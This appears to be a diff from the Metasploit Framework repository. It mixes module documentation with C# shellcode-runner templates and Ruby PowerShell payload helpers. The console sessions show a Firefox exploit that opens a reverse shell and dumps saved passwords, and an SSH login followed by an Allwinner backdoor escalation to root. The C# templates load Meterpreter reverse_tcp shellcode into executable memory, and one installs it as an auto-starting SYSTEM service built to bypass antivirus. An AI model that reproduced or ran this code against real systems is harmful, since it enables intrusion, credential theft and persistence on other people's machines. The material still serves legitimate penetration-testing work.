|
||||
In the example case of the `firefox_proto_crmfrequest` exploit use `set TARGET 0` to use a javascript shell.
|
||||
|
||||
```
|
||||
msf > use exploit/multi/browser/firefox_proto_crmfrequest
|
||||
msf exploit(firefox_proto_crmfrequest) > set TARGET 0
|
||||
TARGET => 0
|
||||
msf exploit(firefox_proto_crmfrequest) > run
|
||||
[*] Exploit running as background job.
|
||||
msf exploit(firefox_proto_crmfrequest) >
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/nbHsSeXAfjr
|
||||
[*] Local IP: http://192.168.2.117:8080/nbHsSeXAfjr
|
||||
[*] Server started.
|
||||
[*] Gathering target information for 192.168.2.117
|
||||
[*] Sending HTML response to 192.168.2.117
|
||||
[*] Sending HTML
|
||||
[*] Sending the malicious addon
|
||||
[*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.117:35100) at 2016-10-08 00:33:09 +0200
|
||||
|
||||
msf exploit(firefox_proto_crmfrequest) > use post/firefox/gather/passwords
|
||||
msf post(passwords) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(passwords) > run
|
||||
|
||||
[*] Running the privileged javascript...
|
||||
[+] Saved 1 passwords to /home/user/.msf4/loot/20161008003433_default_192.168.2.117_firefox.password_070261.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
The loot file then contains all passwords in json format, like so:
|
||||
|
||||
```
|
||||
[
|
||||
{
|
||||
"password":"1234",
|
||||
"passwordField":"pwd",
|
||||
"username":"admin",
|
||||
"usernameField":"log",
|
||||
"httpRealm":"",
|
||||
"formSubmitURL":"https://example.com",
|
||||
"hostname":"https://example.com"
|
||||
}
|
||||
]
|
||||
```
|
|
@ -1,93 +0,0 @@
|
|||
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
|
||||
Vulnerable OS: all OS images available for Orange Pis,
|
||||
any for FriendlyARM's NanoPi M1,
|
||||
SinoVoip's M2+ and M3,
|
||||
Cuebietech's Cubietruck +
|
||||
Linksprite's pcDuino8 Uno
|
||||
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
|
||||
|
||||
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
|
||||
|
||||
## Usage
|
||||
|
||||
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
|
||||
|
||||
- `use auxiliary/scanner/ssh/ssh_login`
|
||||
|
||||
```
|
||||
msf auxiliary(ssh_login) > set username orangepi
|
||||
username => orangepi
|
||||
msf auxiliary(ssh_login) > set password orangepi
|
||||
password => orangepi
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
|
||||
rhosts => 192.168.2.21
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 192.168.2.21:22 SSH - Starting bruteforce
|
||||
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- `use post/multi/escalate/allwinner_backdoor`
|
||||
|
||||
```
|
||||
msf post(allwinner_backdoor) > set verbose true
|
||||
verbose => true
|
||||
msf post(allwinner_backdoor) > set session 1
|
||||
session => 1
|
||||
msf post(allwinner_backdoor) > run
|
||||
```
|
||||
|
||||
## Successful exploitation:
|
||||
|
||||
```
|
||||
[+] Backdoor found, exploiting.
|
||||
[+] Privilege Escalation Successful
|
||||
[*] Post module execution completed
|
||||
msf post(allwinner_backdoor) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
2013564244
|
||||
uHvwyYtCTXENEYdrCoKdgVxTpKlbnqsW
|
||||
true
|
||||
RUVRnPJFFgVpuqEiYXdtXpwdDZxVwZPS
|
||||
TitlDmvnSvINczARsMAKdajpRoXEohXO
|
||||
0
|
||||
RtBPRSiAsiGoFatKQVukpjIjGBpJdXqq
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),27(sudo),29(audio),1001(orangepi)
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
```
|
||||
|
||||
## Graceful exit on non-vulnerable devices:
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username pi
|
||||
username => pi
|
||||
msf auxiliary(ssh_login) > set password raspberry
|
||||
password => raspberry
|
||||
msf auxiliary(ssh_login) > set rhosts basementpi
|
||||
rhosts => basementpi
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 192.168.2.80:22 SSH - Starting bruteforce
|
||||
[+] 192.168.2.80:22 SSH - Success: 'pi:raspberry' 'uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),106(netdev),996(gpio),997(i2c),998(spi),999(input) Linux basementpi 4.1.19-v7+ #858 SMP Tue Mar 15 15:56:00 GMT 2016 armv7l GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:36438 -> 192.168.2.80:22) at 2016-05-17 22:19:57 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use post/multi/escalate/allwinner_backdoor
|
||||
msf post(allwinner_backdoor) > set verbose true
|
||||
verbose => true
|
||||
msf post(allwinner_backdoor) > set session 1
|
||||
session => 1
|
||||
msf post(allwinner_backdoor) > run
|
||||
|
||||
[-] Backdoor /proc/sunxi_debug/sunxi_debug not found.
|
||||
[*] Post module execution completed
|
||||
```
|
|
@ -0,0 +1,77 @@
|
|||
## Example Session
|
||||
|
||||
/tmp/hello.cs contains the following:
|
||||
|
||||
```
|
||||
using System;
|
||||
|
||||
public class Hello
|
||||
{
|
||||
public static void Main()
|
||||
{
|
||||
Console.WriteLine("Hello, World!");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To build and run the code:
|
||||
|
||||
```
|
||||
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
|
||||
msf post(build_net_code) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf post(build_net_code) > show options
|
||||
|
||||
Module options (post/windows/manage/powershell/build_net_code):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ASSEMBLIES mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll no Any assemblies outside the defaults
|
||||
CODE_PROVIDER Microsoft.CSharp.CSharpCodeProvider yes Code provider to use
|
||||
COMPILER_OPTS /optimize no Options to pass to compiler
|
||||
OUTPUT_TARGET no Name and path of the generated binary, default random, omit extension
|
||||
RUN_BINARY false no Execute the generated binary
|
||||
SESSION -1 yes The session to run this module on.
|
||||
SOURCE_FILE yes Path to source code
|
||||
|
||||
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
|
||||
SOURCE_FILE => /tmp/hello.cs
|
||||
msf post(build_net_code) > run
|
||||
|
||||
[*] Building remote code.
|
||||
[+] File C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe found, 3584kb
|
||||
[+] Finished!
|
||||
[*] Post module execution completed
|
||||
msf post(build_net_code) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > shell
|
||||
Process 4840 created.
|
||||
Channel 7 created.
|
||||
Microsoft Windows [Version 10.0.14393]
|
||||
(c) 2016 Microsoft Corporation. All rights reserved.
|
||||
|
||||
E:\metasploit-framework>C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
|
||||
C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
|
||||
Hello, World!
|
||||
```
|
||||
|
||||
You can also run the code automatically:
|
||||
|
||||
```
|
||||
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
|
||||
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
|
||||
SOURCE_FILE => /tmp/hello.cs
|
||||
msf post(build_net_code) > set RUN_BINARY true
|
||||
RUN_BINARY => true
|
||||
msf post(build_net_code) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf post(build_net_code) > run
|
||||
|
||||
[*] Building remote code.
|
||||
[+] File C:\cygwin64\tmp\QuEQSEifJOe.exe found, 3584kb
|
||||
[+] Hello, World!
|
||||
|
||||
[+] Finished!
|
||||
[*] Post module execution completed
|
||||
```
|
|
@ -0,0 +1,86 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Wrapper
|
||||
{
|
||||
class Program
|
||||
{
|
||||
[Flags]
|
||||
public enum AllocationType : uint
|
||||
{
|
||||
COMMIT = 0x1000,
|
||||
RESERVE = 0x2000,
|
||||
RESET = 0x80000,
|
||||
LARGE_PAGES = 0x20000000,
|
||||
PHYSICAL = 0x400000,
|
||||
TOP_DOWN = 0x100000,
|
||||
WRITE_WATCH = 0x200000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection : uint
|
||||
{
|
||||
EXECUTE = 0x10,
|
||||
EXECUTE_READ = 0x20,
|
||||
EXECUTE_READWRITE = 0x40,
|
||||
EXECUTE_WRITECOPY = 0x80,
|
||||
NOACCESS = 0x01,
|
||||
READONLY = 0x02,
|
||||
READWRITE = 0x04,
|
||||
WRITECOPY = 0x08,
|
||||
GUARD_Modifierflag = 0x100,
|
||||
NOCACHE_Modifierflag = 0x200,
|
||||
WRITECOMBINE_Modifierflag = 0x400
|
||||
}
|
||||
|
||||
public enum FreeType : uint
|
||||
{
|
||||
MEM_DECOMMIT = 0x4000,
|
||||
MEM_RELEASE = 0x8000
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
|
||||
|
||||
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
|
||||
public delegate Int32 ExecuteDelegate();
|
||||
|
||||
static void Main()
|
||||
{
|
||||
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||||
string shellcode = "MSF_PAYLOAD_SPACE";
|
||||
|
||||
|
||||
byte[] sc = new byte[shellcode.Length];
|
||||
|
||||
for (int i = 0; i < shellcode.Length; i++)
|
||||
{
|
||||
sc[i] = Convert.ToByte(shellcode[i]);
|
||||
}
|
||||
|
||||
// Allocate RWX memory for the shellcode
|
||||
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
|
||||
|
||||
try
|
||||
{
|
||||
// Copy shellcode to RWX buffer
|
||||
Marshal.Copy(sc, 0, baseAddr, sc.Length);
|
||||
|
||||
// Get pointer to function created in memory
|
||||
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
|
||||
|
||||
del();
|
||||
}
|
||||
finally
|
||||
{
|
||||
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,221 @@
|
|||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration.Install;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.ServiceProcess;
|
||||
using System.Threading;
|
||||
using System.Timers;
|
||||
using Timer = System.Timers.Timer;
|
||||
|
||||
namespace Wrapper
|
||||
{
|
||||
class Program : ServiceBase
|
||||
{
|
||||
#region Fields
|
||||
|
||||
private static Timer _timer;
|
||||
|
||||
#endregion
|
||||
|
||||
#region PInvoke Setup
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType : uint
|
||||
{
|
||||
COMMIT = 0x1000,
|
||||
RESERVE = 0x2000,
|
||||
RESET = 0x80000,
|
||||
LARGE_PAGES = 0x20000000,
|
||||
PHYSICAL = 0x400000,
|
||||
TOP_DOWN = 0x100000,
|
||||
WRITE_WATCH = 0x200000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection : uint
|
||||
{
|
||||
EXECUTE = 0x10,
|
||||
EXECUTE_READ = 0x20,
|
||||
EXECUTE_READWRITE = 0x40,
|
||||
EXECUTE_WRITECOPY = 0x80,
|
||||
NOACCESS = 0x01,
|
||||
READONLY = 0x02,
|
||||
READWRITE = 0x04,
|
||||
WRITECOPY = 0x08,
|
||||
GUARD_Modifierflag = 0x100,
|
||||
NOCACHE_Modifierflag = 0x200,
|
||||
WRITECOMBINE_Modifierflag = 0x400
|
||||
}
|
||||
|
||||
public enum FreeType : uint
|
||||
{
|
||||
MEM_DECOMMIT = 0x4000,
|
||||
MEM_RELEASE = 0x8000
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
|
||||
|
||||
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
|
||||
public delegate Int32 ExecuteDelegate();
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constructors
|
||||
|
||||
public Program()
|
||||
{
|
||||
ServiceName = "MsfDynSvc";
|
||||
_timer = new Timer
|
||||
{
|
||||
Interval = 20000 // 20 seconds
|
||||
};
|
||||
_timer.Elapsed += RunShellCode;
|
||||
_timer.AutoReset = true;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ServiceBase Methods
|
||||
|
||||
protected override void OnStart(string[] args)
|
||||
{
|
||||
base.OnStart(args);
|
||||
_timer.Start();
|
||||
}
|
||||
|
||||
protected override void OnStop()
|
||||
{
|
||||
base.OnStop();
|
||||
_timer.Stop();
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
static void Main()
|
||||
{
|
||||
Run(new Program());
|
||||
}
|
||||
|
||||
private void RunShellCode(object sender, ElapsedEventArgs e)
|
||||
{
|
||||
_timer.Stop();
|
||||
|
||||
// only run shellcode if you can connect to localhost:445, due to endpoint protections
|
||||
if (ConnectToLocalhost(445))
|
||||
{
|
||||
try
|
||||
{
|
||||
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||||
string shellcode = "MSF_PAYLOAD_SPACE";
|
||||
|
||||
byte[] sc = new byte[shellcode.Length];
|
||||
|
||||
for (int i = 0; i < shellcode.Length; i++)
|
||||
{
|
||||
sc[i] = Convert.ToByte(shellcode[i]);
|
||||
}
|
||||
|
||||
// Allocate RWX memory for the shellcode
|
||||
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
|
||||
System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");
|
||||
|
||||
try
|
||||
{
|
||||
// Copy shellcode to RWX buffer
|
||||
Marshal.Copy(sc, 0, baseAddr, sc.Length);
|
||||
|
||||
// Get pointer to function created in memory
|
||||
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
|
||||
|
||||
// Run this in a separate thread, so that we can wait for it to die before continuing the timer
|
||||
Thread thread = new Thread(() => del());
|
||||
|
||||
thread.Start();
|
||||
thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread
|
||||
}
|
||||
catch
|
||||
{
|
||||
// If the shellcode crashes, try to catch the crash here
|
||||
}
|
||||
finally
|
||||
{
|
||||
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Eat it
|
||||
}
|
||||
}
|
||||
_timer.Start();
|
||||
}
|
||||
|
||||
private static bool ConnectToLocalhost(int port)
|
||||
{
|
||||
IPAddress localhost = IPAddress.Parse("127.0.0.1");
|
||||
TcpClient tcpClient = new TcpClient();
|
||||
|
||||
bool isSuccess = false;
|
||||
|
||||
try
|
||||
{
|
||||
tcpClient.Connect(localhost, port);
|
||||
isSuccess = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// I know this is bad code-fu, but just eat the error
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (tcpClient.Connected)
|
||||
{
|
||||
tcpClient.Close();
|
||||
}
|
||||
}
|
||||
|
||||
return isSuccess;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
[RunInstaller(true)]
|
||||
public class DotNetAVBypassServiceInstaller : Installer
|
||||
{
|
||||
public DotNetAVBypassServiceInstaller()
|
||||
{
|
||||
var processInstaller = new ServiceProcessInstaller();
|
||||
var serviceInstaller = new ServiceInstaller();
|
||||
|
||||
//set the privileges
|
||||
processInstaller.Account = ServiceAccount.LocalSystem;
|
||||
|
||||
serviceInstaller.DisplayName = "MsfDynSvc";
|
||||
serviceInstaller.StartType = ServiceStartMode.Automatic;
|
||||
|
||||
//must be the same as what was set in Program's constructor
|
||||
serviceInstaller.ServiceName = "MsfDynSvc";
|
||||
|
||||
Installers.Add(processInstaller);
|
||||
Installers.Add(serviceInstaller);
|
||||
}
|
||||
|
||||
public override void Install(System.Collections.IDictionary stateSaver)
|
||||
{
|
||||
base.Install(stateSaver);
|
||||
ServiceController controller = new ServiceController("MsfDynSvc"); // Make sure this name matches the service name!
|
||||
controller.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
|
||||
namespace Shellcode
|
||||
{
|
||||
class MainClass
|
||||
{
|
||||
public delegate uint Ret1ArgDelegate(uint arg1);
|
||||
static uint PlaceHolder1(uint arg1) { return 0; }
|
||||
|
||||
unsafe static void Main(string[] args)
|
||||
{
|
||||
string shellcode = "MSF_PAYLOAD_SPACE";
|
||||
byte[] asmBytes = new byte[shellcode.Length];
|
||||
for (int i = 0; i < shellcode.Length; i++)
|
||||
{
|
||||
asmBytes[i] = Convert.ToByte(shellcode[i]);
|
||||
}
|
||||
fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
|
||||
{
|
||||
// Get the FieldInfo for "_methodPtr"
|
||||
Type delType = typeof(Delegate);
|
||||
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
|
||||
|
||||
// Set our delegate to our x86 code
|
||||
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
|
||||
_methodPtr.SetValue(del, (IntPtr)startAddress);
|
||||
|
||||
// Enjoy
|
||||
uint n = (uint)0xdecafbad;
|
||||
n = del(n);
|
||||
Console.WriteLine("{0:x}", n);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.12.30"
|
||||
VERSION = "4.12.33"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -51,7 +51,8 @@ class Msf::Author
|
|||
'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com',
|
||||
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
|
||||
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com',
|
||||
'wvu' => 'wvu' + 0x40.chr + 'metasploit.com'
|
||||
'wvu' => 'wvu' + 0x40.chr + 'metasploit.com',
|
||||
'zeroSteiner' => 'zeroSteiner' + 0x40.chr + 'gmail.com'
|
||||
}
|
||||
|
||||
#
|
||||
|
|
|
@ -13,6 +13,11 @@ module Exploit::Powershell
|
|||
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
|
||||
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
|
||||
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
|
||||
OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]),
|
||||
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
|
||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
|
||||
], self.class)
|
||||
end
|
||||
|
@ -187,16 +192,17 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||
opts[:persist] ||= datastore['Powershell::persist']
|
||||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
options.validate(datastore)
|
||||
|
||||
[ :persist, :prepend_sleep, :exec_in_place, :encode_final_payload,
|
||||
:encode_inner_payload, :use_single_quotes, :no_equals, :method ].map { |opt|
|
||||
opts[opt] ||= datastore["Powershell::#{opt}"]
|
||||
}
|
||||
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
|
||||
command = Rex::Powershell::Command.cmd_psh_payload(pay,
|
||||
payload_arch,
|
||||
|
|
|
@ -0,0 +1,184 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
module DotNet
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('CERT_PATH', [false, 'Path on compiler host to .pfx fomatted certificate for signing' ]),
|
||||
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper method for generating powershell code to compile .NET code
|
||||
#
|
||||
# @param opts [Hash] Data structure containing compiler options
|
||||
#
|
||||
# @return [String] Powershell code to execute compiler and necessary environment
|
||||
def dot_net_compiler(opts = {})
|
||||
#TODO:
|
||||
# allow compilation entirely in memory with a b64 encoded product for export without disk access
|
||||
# Dynamically assign assemblies based on dot_net_code require/includes
|
||||
# Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
|
||||
|
||||
# Critical
|
||||
begin
|
||||
dot_net_code = opts[:harness]
|
||||
if ::File.file?(dot_net_code)
|
||||
dot_net_code = ::File.read(dot_net_code)
|
||||
end
|
||||
# Ensure we're not running ASCII-8bit through powershell
|
||||
dot_net_code = dot_net_code.force_encoding('ASCII')
|
||||
rescue => e
|
||||
raise "Harness is invalid\n\n#{e}"
|
||||
end
|
||||
|
||||
# Optional
|
||||
provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider'
|
||||
target = opts[:target] # Unless building assemblies in memory only
|
||||
certificate = opts[:cert] # PFX certificate path
|
||||
payload = opts[:payload]
|
||||
|
||||
# Configure .NET assemblies required to compile source
|
||||
assemblies = ["mscorlib.dll", "System.Xml.dll", "System.Data.dll"]
|
||||
if opts[:assemblies]
|
||||
opts[:assemblies] = opts[:assemblies].split(',').map {|a| a.gsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array)
|
||||
assemblies += opts[:assemblies]
|
||||
end
|
||||
assemblies = assemblies.uniq.compact
|
||||
|
||||
# Compiler options
|
||||
compiler_opts = opts[:com_opts] || '/platform:x86 /optimize'
|
||||
|
||||
# Substitute payload tag with actual payload
|
||||
if payload
|
||||
dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload)
|
||||
end
|
||||
|
||||
# Determine if binary is to be written out
|
||||
var_gen_exe = target ? '$true' : '$false'
|
||||
|
||||
# Obfu
|
||||
var_func = Rex::Text.rand_text_alpha(rand(4)+4)
|
||||
var_code = Rex::Text.rand_text_alpha(rand(4)+4)
|
||||
var_refs = Rex::Text.rand_text_alpha(rand(4)+4)
|
||||
var_provider = Rex::Text.rand_text_alpha(rand(4)+4)
|
||||
var_params = Rex::Text.rand_text_alpha(rand(4)+4)
|
||||
var_output = Rex::Text.rand_text_alpha(rand(4)+4)
|
||||
var_cert = Rex::Text.rand_text_alpha(rand(4)+4)
|
||||
|
||||
# The actual compiler source
|
||||
compiler = <<EOS
|
||||
function #{var_func} {
|
||||
param (
|
||||
[string[]] $#{var_code}
|
||||
, [string[]] $references = @()
|
||||
)
|
||||
$#{var_provider} = New-Object #{provider}
|
||||
$#{var_params} = New-Object System.CodeDom.Compiler.CompilerParameters
|
||||
@( "#{assemblies.join('", "')}", ([System.Reflection.Assembly]::GetAssembly( [PSObject] ).Location) ) | Sort -unique |% { $#{var_params}.ReferencedAssemblies.Add( $_ ) } | Out-Null
|
||||
$#{var_params}.GenerateExecutable = #{var_gen_exe}
|
||||
$#{var_params}.OutputAssembly = "#{target}"
|
||||
$#{var_params}.GenerateInMemory = $true
|
||||
$#{var_params}.CompilerOptions = "#{compiler_opts}"
|
||||
# $#{var_params}.IncludeDebugInformation = $true
|
||||
$#{var_output} = $#{var_provider}.CompileAssemblyFromSource( $#{var_params}, $#{var_code} )
|
||||
if ( $#{var_output}.Errors.Count -gt 0 ) {
|
||||
$#{var_output}.Errors |% { Write-Error $_.ToString() }
|
||||
} else { return $#{var_output}.CompiledAssembly}
|
||||
}
|
||||
#{var_func} -#{var_code} @'
|
||||
|
||||
#{dot_net_code}
|
||||
|
||||
'@
|
||||
|
||||
EOS
|
||||
|
||||
if certificate and target
|
||||
compiler << <<EOS
|
||||
#{var_cert} = Get-PfxCertificate #{certificate}
|
||||
Set-AuthenticodeSignature -Filepath #{target} -Cert #{var_cert}
|
||||
|
||||
EOS
|
||||
|
||||
|
||||
end
|
||||
# PS uses .NET 2.0 by default which doesnt work @ present (20120814, RLTM)
|
||||
# x86 targets also need to be compiled in x86 powershell instance
|
||||
run_32 = compiler_opts =~ /platform:x86/i ? true : false
|
||||
if opts[:net_clr] and opts[:net_clr].to_i > 2 # PS before 3.0 natively uses NET 2
|
||||
return elevate_net_clr(compiler, run_32, opts[:net_clr])
|
||||
else
|
||||
return compiler
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper to execute in alternate .NET environment
|
||||
#
|
||||
# @param ps_code [String] Powershell code to wrap in environment
|
||||
# @param run_32 [TrueClass,FalseClass] Run in WOW64 environment
|
||||
# @param net_ver [String] .NET CLR to wrap in
|
||||
#
|
||||
# @return [String] Executable environment wrapper
|
||||
def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0')
|
||||
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_env_name = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_env_old = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_run32 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
exec_wrapper = <<EOS
|
||||
function #{var_func} {
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ScriptBlock]
|
||||
$ScriptBlock
|
||||
)
|
||||
$#{var_run32} = $#{run_32.to_s}
|
||||
if ($PSVersionTable.CLRVersion.Major -eq #{net_ver.to_i}) {
|
||||
Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList $ArgumentList
|
||||
return
|
||||
}
|
||||
$#{var_conf_path} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
|
||||
New-Item -Path $#{var_conf_path} -ItemType Container | Out-Null
|
||||
@"
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup useLegacyV2RuntimeActivationPolicy="true">
|
||||
<supportedRuntime version="v#{net_ver.to_f}"/>
|
||||
<supportedRuntime version="v2.0.50727"/>
|
||||
</startup>
|
